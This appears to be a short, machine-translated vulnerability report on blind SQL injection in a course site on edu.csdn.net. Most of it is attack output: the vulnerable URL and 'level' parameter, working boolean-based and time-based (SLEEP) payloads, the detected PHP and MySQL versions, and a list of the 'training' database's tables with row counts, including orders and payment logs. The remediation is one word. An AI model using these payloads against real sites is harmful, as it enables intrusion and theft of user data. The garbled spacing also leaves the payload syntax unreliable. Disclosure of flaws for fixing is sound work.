A website in CSDN has the SQL blind injection vulnerability.

A website in CSDN has the SQL blind injection vulnerability.

Http://edu.csdn.net/courses? Attr = 3 & c_id = 0 & level = 1 payload: blind Note 1 = 1

Parameter: level (GET) Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: attr = 3 & c_id = 0 & level = 1 AND 2659 = 2659 Type: AND/OR time-based blind Title: MySQL> = 5.0.12 AND time-based blind (SELECT) Payload: attr = 3 & c_id = 0 & level = 1 AND (SELECT * FROM (SELECT (SLEEP (5) bQok) --- web application technology: PHP 5.5.17back-end DBMS: mySQL 5.0.12Database: training + Partitions + --------- + | Table | Entries | + records + --------- + | course_lesson_record | 391200 | course_lecture_students | 291907 | log | 204057 | test_log | 67653 | filter_words | 37477 | course_video | 9910 | course_video_jobs | 9219 | course_tag_relate | 5485 | course_statistics | 3559 | notice_mail | 2561 | order_detail | 1898 | type_tag | 1745 | orders | 1680 | course_fields | 868 | c_port_log | 772 | tickets | 763 | uc_log | 326 | course_syllabus | 112 | course_agency | 93 | combo_course | 83 | log_download | 63 | column_course_type | 49 | m3u8_keys | 31 | trial_users | 26 | vip_card | 24 | vip_card_apply | 18 | tickets_group | 10 | course_column | 8 | kernel | 7 | trial_info | 3 | alipay_log | 2 | + ------------------------- + --------- + solution: filter